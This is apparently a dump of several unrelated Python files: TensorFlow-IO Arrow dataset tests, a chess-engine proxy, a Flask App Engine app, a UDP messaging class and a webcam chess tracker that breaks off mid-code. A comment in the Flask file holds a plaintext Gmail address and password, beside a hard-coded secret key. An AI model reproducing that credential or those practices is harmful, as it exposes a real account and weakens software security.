preserve_index=True) # Add index column to test data to check results truth_data_with_index = TruthData( truth_data.data + [range(len(truth_data.data[0]))], truth_data.output_types + (dtypes.int64,), truth_data.output_shapes + (tf.TensorShape([]),)) self.run_test_case(dataset, truth_data_with_index) # Test preserve_index again, selecting second column only # NOTE: need to select TruthData because `df` gets selected also truth_data_selected_with_index = TruthData( truth_data_with_index.data[1:], truth_data_with_index.output_types[1:], truth_data_with_index.output_shapes[1:]) dataset = arrow_io.ArrowDataset.from_pandas( df, columns=(1,), preserve_index=True) self.run_test_case(dataset, truth_data_selected_with_index) def test_arrow_feather_dataset(self): """test_arrow_feather_dataset""" # Feather files currently do not support columns of list types truth_data = TruthData(self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() # Create a tempfile that is deleted after tests run with tempfile.NamedTemporaryFile(delete=False) as f: write_feather(df, f) # test single file dataset = arrow_io.ArrowFeatherDataset( f.name, list(range(len(truth_data.output_types))), truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data) # test single file with 'file://' prefix dataset = arrow_io.ArrowFeatherDataset( "file://{}".format(f.name), list(range(len(truth_data.output_types))), truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data) # test multiple files dataset = arrow_io.ArrowFeatherDataset( [f.name, f.name], list(range(len(truth_data.output_types))), truth_data.output_types, truth_data.output_shapes) truth_data_doubled = TruthData( [d * 2 for d in truth_data.data], truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data_doubled) # test construction from schema dataset = arrow_io.ArrowFeatherDataset.from_schema( f.name, batch.schema) self.run_test_case(dataset, truth_data) os.unlink(f.name) def test_arrow_socket_dataset(self): """test_arrow_socket_dataset""" truth_data = TruthData( self.scalar_data + self.list_data, self.scalar_dtypes + self.list_dtypes, self.scalar_shapes + self.list_shapes) batch = self.make_record_batch(truth_data) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('127.0.0.1', 0)) sock.listen(1) host_addr, port = sock.getsockname() host = "%s:%s" % (host_addr, port) def run_server(num_batches): conn, _ = sock.accept() outfile = conn.makefile(mode='wb') writer = pa.RecordBatchStreamWriter(outfile, batch.schema) for _ in range(num_batches): writer.write_batch(batch) writer.close() outfile.close() conn.close() sock.close() # test with multiple batches, construct from schema num_batches = 2 server = threading.Thread(target=run_server, args=(num_batches,)) server.start() dataset = arrow_io.ArrowStreamDataset.from_schema( host, batch.schema) truth_data_mult = TruthData( [d * num_batches for d in truth_data.data], truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data_mult) server.join() def test_arrow_unix_socket_dataset(self): """test_arrow_unix_socket_dataset""" if os.name == "nt": self.skipTest("Unix Domain Sockets not supported on Windows") truth_data = TruthData( self.scalar_data + self.list_data, self.scalar_dtypes + self.list_dtypes, self.scalar_shapes + self.list_shapes) batch = self.make_record_batch(truth_data) host = os.path.join(tempfile.gettempdir(), 'arrow_io_stream') # Make sure the socket does not already exist try: os.unlink(host) except OSError: if os.path.exists(host): raise sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.bind(host) sock.listen(1) def run_server(num_batches): conn, _ = sock.accept() outfile = conn.makefile(mode='wb') writer = pa.RecordBatchStreamWriter(outfile, batch.schema) for _ in range(num_batches): writer.write_batch(batch) writer.close() outfile.close() conn.close() sock.close() # test with multiple batches, construct from schema num_batches = 2 server = threading.Thread(target=run_server, args=(num_batches,)) server.start() endpoint = 'unix://{}'.format(host) dataset = arrow_io.ArrowStreamDataset.from_schema( endpoint, batch.schema) truth_data_mult = TruthData( [d * num_batches for d in truth_data.data], truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data_mult) server.join() def test_multiple_stream_hosts(self): """test_multiple_stream_hosts""" if os.name == "nt": self.skipTest("Unix Domain Sockets not supported on Windows") truth_data = TruthData( self.scalar_data + self.list_data, self.scalar_dtypes + self.list_dtypes, self.scalar_shapes + self.list_shapes) batch = self.make_record_batch(truth_data) hosts = [os.path.join(tempfile.gettempdir(), 'arrow_io_stream_{}'.format(i)) for i in range(1, 3)] def start_server(host): """start_server""" try: os.unlink(host) except OSError: if os.path.exists(host): raise sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.bind(host) sock.listen(1) def run_server(num_batches): """run_server""" conn, _ = sock.accept() outfile = conn.makefile(mode='wb') writer = pa.RecordBatchStreamWriter(outfile, batch.schema) for _ in range(num_batches): writer.write_batch(batch) writer.close() outfile.close() conn.close() sock.close() # test with multiple batches, construct from schema server = threading.Thread(target=run_server, args=(1,)) server.start() return server servers = [start_server(h) for h in hosts] endpoints = ['unix://{}'.format(h) for h in hosts] dataset = arrow_io.ArrowStreamDataset.from_schema( endpoints, batch.schema) truth_data_mult = TruthData( [d * len(hosts) for d in truth_data.data], truth_data.output_types, truth_data.output_shapes) self.run_test_case(dataset, truth_data_mult) for s in servers: s.join() def test_stream_from_pandas(self): """test_stream_from_pandas""" truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() batch_size = 2 # Test preserve index False dataset = arrow_io.ArrowStreamDataset.from_pandas( df, batch_size=batch_size, preserve_index=False) self.run_test_case(dataset, truth_data, batch_size=batch_size) # Test preserve index True and select all but index columns truth_data = TruthData( truth_data.data + [range(len(truth_data.data[0]))], truth_data.output_types + (dtypes.int64,), truth_data.output_shapes + (tf.TensorShape([]),)) dataset = arrow_io.ArrowStreamDataset.from_pandas( df, batch_size=batch_size, preserve_index=True) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_stream_from_pandas_remainder(self): """Test stream from Pandas that produces partial batch""" batch_size = len(self.scalar_data[0]) - 1 truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() dataset = arrow_io.ArrowStreamDataset.from_pandas( df, batch_size=batch_size, preserve_index=False) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_stream_from_pandas_iter(self): """test_stream_from_pandas_iter""" batch_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(batch_data) df = batch.to_pandas() batch_size = 2 num_iters = 3 dataset = arrow_io.ArrowStreamDataset.from_pandas( (df for _ in range(num_iters)), batch_size=batch_size, preserve_index=False) truth_data = TruthData( [d * num_iters for d in batch_data.data], batch_data.output_types, batch_data.output_shapes) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_stream_from_pandas_not_batched(self): """test_stream_from_pandas_not_batched""" truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() dataset = arrow_io.ArrowStreamDataset.from_pandas( df, preserve_index=False) self.run_test_case(dataset, truth_data) def test_stream_from_pandas_repeat(self): """test_stream_from_pandas_repeat""" batch_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(batch_data) df = batch.to_pandas() num_repeat = 10 dataset = arrow_io.ArrowStreamDataset.from_pandas( df, batch_size=2, preserve_index=False).repeat(num_repeat) # patch columns attr so run_test_case can use dataset.columns = list(range(len(batch_data.output_types))) truth_data = TruthData( [d * num_repeat for d in batch_data.data], batch_data.output_types, batch_data.output_shapes) self.run_test_case(dataset, truth_data, batch_size=2) def test_bool_array_type(self): """ NOTE: need to test this seperately because to_pandas fails with ArrowNotImplementedError: Not implemented type for list in DataFrameBlock: bool see https://issues.apache.org/jira/browse/ARROW-4370 """ truth_data = TruthData( [[[False, False], [False, True], [True, False], [True, True]]], (dtypes.bool,), (tf.TensorShape([None]),)) batch = self.make_record_batch(truth_data) dataset = arrow_io.ArrowDataset.from_record_batches( batch, truth_data.output_types, truth_data.output_shapes, columns=(0,)) self.run_test_case(dataset, truth_data) def test_incorrect_column_type(self): """Test that a column with incorrect dtype raises error""" truth_data = TruthData(self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) dataset = arrow_io.ArrowDataset.from_record_batches( batch, tuple([dtypes.int32 for _ in truth_data.output_types]), truth_data.output_shapes) with self.assertRaisesRegex(errors.OpError, 'Arrow type mismatch'): self.run_test_case(dataset, truth_data) def test_map_and_batch(self): """Test that using map then batch produces correct output. This will create a map_and_batch_dataset_op that calls GetNext after end_of_sequence=true """ truth_data = TruthData( [list(range(10))], (dtypes.int32,), (tf.TensorShape([]),)) batch = self.make_record_batch(truth_data) dataset = arrow_io.ArrowDataset.from_record_batches( batch, truth_data.output_types, truth_data.output_shapes) dataset = dataset.map(lambda x: x).batch(4) expected = truth_data.data[0] for result_tensors in dataset: results = result_tensors.numpy() for x in results: self.assertTrue(expected, 'Dataset has more output than expected') self.assertEqual(x, expected[0]) expected.pop(0) def test_tf_function(self): """ Test that an ArrowDataset can be used in tf.function call """ if not tf.version.VERSION.startswith("2."): self.skipTest("Test requires TF2.0 for tf.function") truth_data = TruthData( [list(range(10)), [x * 1.1 for x in range(10)]], (dtypes.int32, dtypes.float64), (tf.TensorShape([]), tf.TensorShape([]))) @tf.function def create_arrow_dataset(serialized_batch): """Create an arrow dataset from input tensor""" dataset = arrow_io.ArrowDataset( serialized_batch, list(range(len(truth_data.output_types))), truth_data.output_types, truth_data.output_shapes) return dataset batch = self.make_record_batch(truth_data) buf = io.BytesIO() writer = pa.RecordBatchFileWriter(buf, batch.schema) writer.write_batch(batch) writer.close() for row, results in enumerate(create_arrow_dataset(buf.getvalue())): value = [result.numpy() for result in results] self.assertEqual(value[0], truth_data.data[0][row]) self.assertAlmostEqual(value[1], truth_data.data[1][row], 4) def test_batch_no_remainder(self): """Test batch_size that does not leave a remainder """ batch_size = len(self.scalar_data[0]) num_batches = 2 truth_data = TruthData( [d * num_batches for d in self.scalar_data], self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() dataset = arrow_io.ArrowDataset.from_pandas( df, preserve_index=False, batch_size=batch_size) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_batch_remainder(self): """Test batch_size that does leave a remainder """ batch_size = len(self.scalar_data[0]) - 1 truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() dataset = arrow_io.ArrowDataset.from_pandas( df, preserve_index=False, batch_size=batch_size) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_batch_drop_remainder(self): """Test batch_size that drops remainder data """ batch_size = len(self.scalar_data[0]) - 1 truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() truth_data_drop_last = TruthData( [d[:-1] for d in truth_data.data], truth_data.output_types, truth_data.output_shapes) dataset = arrow_io.ArrowDataset.from_pandas( df, preserve_index=False, batch_size=batch_size, batch_mode='drop_remainder') self.run_test_case(dataset, truth_data_drop_last, batch_size=batch_size) def test_batch_mode_auto(self): """Test auto batch_mode to size to record batch number of rows """ num_batches = 2 single_batch_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(single_batch_data) batches = [batch] * num_batches truth_data = TruthData( [d * num_batches for d in single_batch_data.data], single_batch_data.output_types, single_batch_data.output_shapes) dataset = arrow_io.ArrowDataset.from_record_batches( batches, truth_data.output_types, truth_data.output_shapes, batch_mode='auto') self.run_test_case(dataset, truth_data, batch_size=batch.num_rows) def test_batch_with_partials(self): """Test batch_size that divides an Arrow record batch into partial batches """ num_batches = 3 batch_size = int(len(self.scalar_data[0]) * 1.5) single_batch_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(single_batch_data) batches = [batch] * num_batches truth_data = TruthData( [d * num_batches for d in single_batch_data.data], single_batch_data.output_types, single_batch_data.output_shapes) # Batches should divide input without remainder self.assertEqual(len(truth_data.data[0]) % batch_size, 0) dataset = arrow_io.ArrowDataset.from_record_batches( batches, truth_data.output_types, truth_data.output_shapes, batch_size=batch_size) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_batch_with_partials_and_remainder(self): """ Test batch_size that divides an Arrow record batch into partial batches and leaves remainder data """ num_batches = 3 batch_size = len(self.scalar_data[0]) + 1 single_batch_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(single_batch_data) batches = [batch] * num_batches truth_data = TruthData( [d * num_batches for d in single_batch_data.data], single_batch_data.output_types, single_batch_data.output_shapes) # Batches should divide input and leave a remainder self.assertNotEqual(len(truth_data.data[0]) % batch_size, 0) dataset = arrow_io.ArrowDataset.from_record_batches( batches, truth_data.output_types, truth_data.output_shapes, batch_size=batch_size) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_batch_spans_mulitple_partials(self): """Test large batch_size that spans mulitple Arrow record batches """ num_batches = 6 batch_size = int(len(self.scalar_data[0]) * 3) single_batch_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(single_batch_data) batches = [batch] * num_batches truth_data = TruthData( [d * num_batches for d in single_batch_data.data], single_batch_data.output_types, single_batch_data.output_shapes) dataset = arrow_io.ArrowDataset.from_record_batches( batches, truth_data.output_types, truth_data.output_shapes, batch_size=batch_size) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_batch_fixed_lists(self): """Test batching with fixed length list types """ batch_size = int(len(self.list_fixed_data[0]) / 2) truth_data = TruthData( self.list_fixed_data, self.list_fixed_dtypes, self.list_fixed_shapes) batch = self.make_record_batch(truth_data) dataset = arrow_io.ArrowDataset.from_record_batches( [batch], truth_data.output_types, truth_data.output_shapes, batch_size=batch_size) self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_batch_variable_length_list(self): """Test batching with variable length lists raises error """ batch_size = len(self.list_var_data[1]) truth_data = TruthData( self.list_var_data, self.list_var_dtypes, self.list_var_shapes) batch = self.make_record_batch(truth_data) dataset = arrow_io.ArrowDataset.from_record_batches( [batch], truth_data.output_types, truth_data.output_shapes, batch_size=batch_size) with self.assertRaisesRegex(errors.OpError, 'variable.*unsupported'): self.run_test_case(dataset, truth_data, batch_size=batch_size) def test_unsupported_batch_mode(self): """Test using an unsupported batch mode """ truth_data = TruthData( self.scalar_data, self.scalar_dtypes, self.scalar_shapes) with self.assertRaisesRegex(ValueError, 'Unsupported batch_mode.*doh'): arrow_io.ArrowDataset.from_record_batches( [self.make_record_batch(truth_data)], truth_data.output_types, truth_data.output_shapes, batch_mode='doh') def test_arrow_list_feather_columns(self): """test_arrow_list_feather_columns""" # Feather files currently do not support columns of list types truth_data = TruthData(self.scalar_data, self.scalar_dtypes, self.scalar_shapes) batch = self.make_record_batch(truth_data) df = batch.to_pandas() # Create a tempfile that is deleted after tests run with tempfile.NamedTemporaryFile(delete=False) as f: write_feather(df, f) # test single file # prefix "file://" to test scheme file system (e.g., s3, gcs, azfs, ignite) columns = arrow_io.list_feather_columns("file://" + f.name) for name, dtype in list(zip(batch.schema.names, batch.schema.types)): assert columns[name].name == name assert columns[name].dtype == dtype assert columns[name].shape == [4] # test memory with open(f.name, 'rb') as ff: memory = ff.read() # when memory is provided filename doesn't matter: columns = arrow_io.list_feather_columns("file:///non_exist", memory=memory) for name, dtype in list(zip(batch.schema.names, batch.schema.types)): assert columns[name].name == name assert columns[name].dtype == dtype assert columns[name].shape == [4] os.unlink(f.name) if __name__ == "__main__": test.main()
proxy.py
from log import log from subprocess import PIPE, Popen from threading import Thread from queue import Queue, Empty import sys engine = "C:\\git\\kaissa64\\engines\\" + sys.argv[1] depth = sys.argv[2] cmd = [ engine ] def inProcess(stdin, queue): while True: msg = queue.get() # Hacking Arena :) if msg[0:2] == "go": msg += f" depth {depth}" log(f"[:] {msg}", "proxy.log") stdin.write(msg + "\n") stdin.flush() def outProcess(stdout, queue): while True: for line in iter(stdout.readline, b''): log(f"{line.rstrip()}", "proxy.log") print(line.rstrip(), flush=True) process = Popen(cmd, text=True, stdin=PIPE, stdout=PIPE) queue = Queue() t1 = Thread(target=inProcess, args=(process.stdin, queue)) t1.daemon = True # thread dies with the program t1.start() t2 = Thread(target=outProcess, args=(process.stdout, queue)) t2.daemon = True # thread dies with the program t2.start() log(f"\n[START]\n", "proxy.log") while True: msg = input() log(f">>> {msg}", "proxy.log") queue.put(msg) if msg == "quit": break process.terminate() log(f"\n[FINISH]\n", "proxy.log")
main.py
#!./venv/bin/python3 # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # [START gae_python37_render_template] # FLASK_APP=main.py MAIL_USERNAME=holbietextme@gmail.com MAIL_PASSWORD=ryuichiiscool python main.py import datetime from flask import flash, Flask, render_template, redirect, request, url_for from flask_mail import Mail, Message from google.cloud import datastore from os import getenv from threading import Thread app = Flask(__name__) app.url_map.strict_slashes = False # app.config['DEBUG'] = True app.config['SECRET_KEY'] = 'hard to guess string' # might not need app.config['MAIL_SERVER'] = 'smtp.gmail.com' app.config['MAIL_PORT'] = 587 app.config['MAIL_USE_TLS'] = True app.config['MAIL_USERNAME'] = getenv('MAIL_USERNAME') app.config['MAIL_PASSWORD'] = getenv('MAIL_PASSWORD') app.config['MAIL_SENDER'] = getenv('MAIL_USERNAME') app.config['SSL_REDIRECT'] = False mail = Mail(app) storage = datastore.Client() def store_time(dt): entity = datastore.Entity(key=storage.key('visit')) entity.update({ 'timestamp': dt }) storage.put(entity) def fetch_times(limit): query = storage.query(kind='visit') query.order = ['-timestamp'] times = query.fetch(limit=limit) return times @app.route('/') @app.route('/index.html') def root(): # Store the current access time in Datastore. store_time(datetime.datetime.now()) # Fetch the most recent 10 access times from Datastore. times = fetch_times(10) return render_template('index.html', times=times) @app.route('/api/user', methods=['POST']) def api_user(): try: User = datastore.Entity(key=storage.key('user')) tmp = {} for key, value in request.json().items(): tmp[key] = value tmp['created_at'] = datetime.datetime.now() User.update(tmp) storage.put(User) return 'success' except Exception as e: return e def send_email_async(app, msg): with app.app_context(): mail.send(msg) def send_email(to, subject): # , template, **kwargs): msg = Message(subject, sender=app.config['MAIL_SENDER'], recipients=[to]) # render_template(template + '.txt', **kwargs) msg.body = 'this is the body' # render_template(template + '.html', **kwargs) msg.html = '<h1>header html</h1>' thr = Thread(target=send_email_async, args=[app, msg]) thr.start() return thr if __name__ == '__main__': # This is used when running locally only. When deploying to Google App # Engine, a webserver process such as Gunicorn will serve the app. This # can be configured by adding an `entrypoint` to app.yaml. # Flask's development server will automatically serve static files in # the "static" directory. See: # http://flask.pocoo.org/docs/1.0/quickstart/#static-files. Once deployed, # App Engine itself will serve those files as configured in app.yaml. app.run(host='127.0.0.1', port=8080, debug=True) # [START gae_python37_render_template]
loaders_pool.py
from sources.loader import Loader from threading import Thread from time import sleep class LoadersPool: actualize_period_seconds = 1 def __init__(self): self._loaders_paths = dict() self._loaders = set() self._loaders_actualize_thread = Thread(target=self._actualize, daemon=True) self._loaders_actualize_thread.start() def get_or_add(self, receiver, path) -> Loader: loader = self._loaders_paths\ .setdefault(path, {})\ .setdefault(receiver, Loader(receiver, path)) self._loaders.add(loader) return loader def _actualize(self): while True: sleep(LoadersPool.actualize_period_seconds) for loader in self._loaders: loader.load_config()
UdpComms.py
# Created by Youssef Elashry to allow two-way communication between Python3 and Unity to send and receive strings # Feel free to use this in your individual or commercial projects BUT make sure to reference me as: Two-way communication between Python 3 and Unity (C#) - Y. T. Elashry # It would be appreciated if you send me how you have used this in your projects (e.g. Machine Learning) at youssef.elashry@gmail.com # Use at your own risk # Use under the Apache License 2.0 class UdpComms(): def __init__(self,udpIP,portTX,portRX,enableRX=False,suppressWarnings=True): """ Constructor :param udpIP: Must be string e.g. "127.0.0.1" :param portTX: integer number e.g. 8000. Port to transmit from i.e From Python to other application :param portRX: integer number e.g. 8001. Port to receive on i.e. From other application to Python :param enableRX: When False you may only send from Python and not receive. If set to True a thread is created to enable receiving of data :param suppressWarnings: Stop printing warnings if not connected to other application """ import socket self.udpIP = udpIP self.udpSendPort = portTX self.udpRcvPort = portRX self.enableRX = enableRX self.suppressWarnings = suppressWarnings # when true warnings are suppressed self.isDataReceived = False self.dataRX = None # Connect via UDP self.udpSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # internet protocol, udp (DGRAM) socket self.udpSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # allows the address/port to be reused immediately instead of it being stuck in the TIME_WAIT state waiting for late packets to arrive. self.udpSock.bind((udpIP, portRX)) # Create Receiving thread if required if enableRX: import threading self.rxThread = threading.Thread(target=self.ReadUdpThreadFunc, daemon=True) self.rxThread.start() def __del__(self): self.CloseSocket() def CloseSocket(self): # Function to close socket self.udpSock.close() def SendData(self, strToSend): # Use this function to send string to C# self.udpSock.sendto(bytes(strToSend,'utf-8'), (self.udpIP, self.udpSendPort)) def ReceiveData(self): """ Should not be called by user Function BLOCKS until data is returned from C#. It then attempts to convert it to string and returns on successful conversion. An warning/error is raised if: - Warning: Not connected to C# application yet. Warning can be suppressed by setting suppressWarning=True in constructor - Error: If data receiving procedure or conversion to string goes wrong - Error: If user attempts to use this without enabling RX :return: returns None on failure or the received string on success """ if not self.enableRX: # if RX is not enabled, raise error raise ValueError("Attempting to receive data without enabling this setting. Ensure this is enabled from the constructor") data = None try: data, _ = self.udpSock.recvfrom(1024) data = data.decode('utf-8') except WindowsError as e: if e.winerror == 10054: # An error occurs if you try to receive before connecting to other application if not self.suppressWarnings: print("Are You connected to the other application? Connect to it!") else: pass else: raise ValueError("Unexpected Error. Are you sure that the received data can be converted to a string") return data def ReadUdpThreadFunc(self): # Should be called from thread """ This function should be called from a thread [Done automatically via constructor] (import threading -> e.g. udpReceiveThread = threading.Thread(target=self.ReadUdpNonBlocking, daemon=True)) This function keeps looping through the BLOCKING ReceiveData function and sets self.dataRX when data is received and sets received flag This function runs in the background and updates class variables to read data later """ self.isDataReceived = False # Initially nothing received while True: data = self.ReceiveData() # Blocks (in thread) until data is returned (OR MAYBE UNTIL SOME TIMEOUT AS WELL) self.dataRX = data # Populate AFTER new data is received self.isDataReceived = True # When it reaches here, data received is available def ReadReceivedData(self): """ This is the function that should be used to read received data Checks if data has been received SINCE LAST CALL, if so it returns the received string and sets flag to False (to avoid re-reading received data) data is None if nothing has been received :return: """ data = None if self.isDataReceived: # if data has been received self.isDataReceived = False data = self.dataRX self.dataRX = None # Empty receive buffer return data
main.py
#imports from re import sub import utils import cv2 import numpy as np import contours as ct import threading #import menu # Using display instead of menu. import display import chess_manager as chess import insults import time from dataclasses import dataclass #Colors lower_blue = np.array([100,128,0]) upper_blue = np.array([215,255,255]) lower_white = np.array([0,0,128], dtype=np.uint8) upper_white = np.array([255,255,255], dtype=np.uint8) lower_black = np.array([0,0,0], dtype=np.uint8) upper_black = np.array([170,150,50], dtype=np.uint8) upper_orange = np.array([237, 179, 147]) lower_orange = np.array([232, 83, 2]) lower_red = np.array([170,50,50]) upper_red = np.array([180,255,255]) lower_green = np.array([40, 40,40]) upper_green = np.array([70, 255,255]) lower_yellow = np.array([22, 93, 0]) upper_yellow = np.array([45, 255, 255]) #Cords letter_cords = [ "h", "g", "f", "e", "d", "c", "b", "a", ] names = [ "pawns", "rooks", "knights", "queen", "king", "bishops" ] #Pieces piece_tracker = { "white": { 'pawns': [1, 9, 17, 25, 33, 41, 49, 57], 'rooks': [0, 56], 'knights': [8, 48], 'bishops': [16, 40], 'queen': [32], 'king': [24] }, "black": { 'pawns': [6, 14, 22, 30, 38, 46, 54, 62], 'rooks': [7, 63], 'knights': [15, 55], 'bishops': [23, 47], 'queen': [39], 'king': [31] } } #Fonts font = cv2.FONT_HERSHEY_PLAIN #Cam cap = None cam = 2 #3 width = 0 height = 0 #start camera cap = cv2.VideoCapture(cam) if cap.isOpened(): width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) #adjusts the box to the middle gridXAdj = round(width / 2 - (height / 2)) #Check if two numbers are similar def similar(n1, n2): return n1 > n2 - (n2 / 100) and n1 < n2 + (n2 / 100) boxWAdj = 10 boxHAdj = 10 #Get which section a piece is in. def getContourSection(contour): (x, y, w, h) = cv2.boundingRect(contour) if w < 50 and h < 50: return -1 boxW = round(width / 8) boxH = round(height / 8) if boxW > boxH: boxW = boxH else: boxH = boxW boxW -= boxWAdj boxH -= boxHAdj for y_ in range(8): for x_ in range(8): adjX = int(x_ * boxW) + gridXAdj adjY = int(y_ * boxH) midX = x + (w / 2) midY = y + (h / 2) if midX > adjX and midX < adjX + boxW and midY > adjY and midY < adjY + boxH: return x_ + (y_ * 8) return -1 #Sort the contours def sortContours(contours): contours = sorted(contours, key=getContourSection) return contours #Finds the moved pieces. def getMissingPieces(contours): boxW = round(width / 8) boxH = round(height / 8) if boxW > boxH: boxW = boxH else: boxH = boxW boxW -= boxWAdj boxH -= boxHAdj recordedPieces = [] for contour in contours: (x, y, w, h) = cv2.boundingRect(contour) if w < 30 and h < 30: continue section = getContourSection(contour) if section == -1: continue recordedPieces.append(section) missingPieces = [] for y_ in range(8): for x_ in range(8): gn = x_ + (y_ * 8) if supposedToBeAPieceHere(gn) and gn not in recordedPieces: missingPieces.append(gn) return missingPieces #Finds a piece in a new slot. def getPieceInNewSlot(contours): boxW = round(width / 8) boxH = round(height / 8) if boxW > boxH: boxW = boxH else: boxH = boxW boxW -= boxWAdj boxH -= boxHAdj recordedPieces = [] for contour in contours: (x, y, w, h) = cv2.boundingRect(contour) if w < 30 and h < 30: continue section = getContourSection(contour) if section == -1: continue recordedPieces.append(section) missing = [] for y_ in range(8): for x_ in range(8): gn = (y_ * 8) + x_ if not supposedToBeAPieceHere(gn) and gn in recordedPieces: print("found " + str(gn)) missing.append(gn) #break return missing #Gets the piece def getPieceByCoord(gridN): global piece_tracker, names for piece in names: subLen = len(piece_tracker['white'][piece]) for i in range(subLen): if piece_tracker['white'][piece][i] == int(gridN): return { 'side': 'white', 'type': piece, 'n': i } if piece_tracker['black'][piece][i] == int(gridN): return { 'side': 'black', 'type': piece, 'n': i } return { 'side': None, 'type': None, 'n': -1 } #Checks to see if there's supposed to be a piece in a grid. def supposedToBeAPieceHere(gridN): global piece_tracker for piece in names: subLen = len(piece_tracker['white'][piece]) for i in range(subLen): if piece_tracker['white'][piece][i] == gridN: return True if piece_tracker['black'][piece][i] == gridN: return True return False def main(): #get the camera ret, frame = cap.read() #mirror the camera frame = cv2.flip(frame, 1) #get the blue blue_frame = ct.getColor(frame, lower_blue, upper_blue) #get the green green_frame = ct.getColor(frame, lower_green, upper_green) # yellow_frame = ct.getColor(frame, lower_yellow, upper_yellow) #get blue frame yellow_frame = ct.getColor(frame, lower_yellow, upper_yellow) #get the blue frame contours contours = ct.getContours(frame, blue_frame) #draw the yellow contours frame = ct.drawContours(frame, yellow_frame, 50, (width * height) * 0.75) #get the yellow contours yellow_contours = sortContours(ct.getContours(frame, yellow_frame)) i = 0 for contour in yellow_contours: (x, y, w, h) = cv2.boundingRect(contour) if (w * h) > (width * height) * 0.75: continue contourSection = getContourSection(contour) if contourSection == -1: continue textX = x + (w / 2) textY = y + (h / 2) cv2.putText(frame, str(contourSection), (int(textX), int(textY)), font, 4, (255, 82, 212), 4, cv2.LINE_4) i += 1 boxW = round(width / 8) boxH = round(height / 8) if boxW > boxH: boxW = boxH else: boxH = boxW boxW -= boxWAdj boxH -= boxHAdj #draw a "board" graphic over for y in range(8): for x in range(8): adjX = int(x * boxW) + gridXAdj adjY = int(y * boxH) cv2.rectangle(frame, (adjX, adjY), (adjX + boxW, adjY + boxH), (20, 20, 20), 2) cv2.putText(frame, str(x + (y * 8)), (int(adjX + (boxW / 2)), int(adjY + (boxH / 2))), font, 1, (0,255,0), 2, cv2.LINE_4) #show the frame cv2.imshow('camera', frame) #Update the menu. # menu.update() if display.justStarted(): print("Started.") if display.isPlaying(): if display.justChangedTurns(): if display.getTurn() == "black": print("#### CALC WHITE'S PIECES ####") print("Turn just changed to black.") #Choose a move, and then change the turn. missing = getMissingPieces(yellow_contours) if len(missing) > 2: #Insult -> illegal moves. print("More than 2 pieces moved, illegal. missing: " + str(missing)) insults.illegalPlayInsult() display.forceChangeTurn("white") #TODO: Check if castle. if len(missing) == 2: print("Maybe castle? ", str(missing)) piece_1 = getPieceByCoord(missing[0]) piece_2 = getPieceByCoord(missing[1]) if (piece_1['type'] == "rooks" and piece_2['type'] == 'king') or (piece_1['type'] == "king" and piece_2['type'] == 'rooks'): print("Castled.") if not chess.getBoard().has_castling_rights(chess.getTeam('white')): insults.illegalPlayInsult() insults.play(insults.createNewRecording('you don\'t have castling rights poopyhead')) display.forceChangeTurn('white') return False print("possible castling pieces: " + str(piece_tracker[piece_1['side']][piece_1['type']][piece_1['n']]), str(piece_tracker[piece_2['side']][piece_2['type']][piece_2['n']])) if piece_tracker[piece_1['side']][piece_1['type']][piece_1['n']] == 0 or piece_tracker[piece_2['side']][piece_2['type']][piece_2['n']] == 0: if piece_1['type'] == "rooks": piece_tracker[piece_1['side']][piece_1['type']][piece_1['n']] = 16 piece_tracker[piece_2['side']][piece_2['type']][piece_2['n']] = 8 if piece_1['type'] == "king": piece_tracker[piece_1['side']][piece_1['type']][piece_1['n']] = 8 piece_tracker[piece_2['side']][piece_2['type']][piece_2['n']] = 16 chess.makeUCIMove("e1", "g1") else: print("(Queen Side)") if not 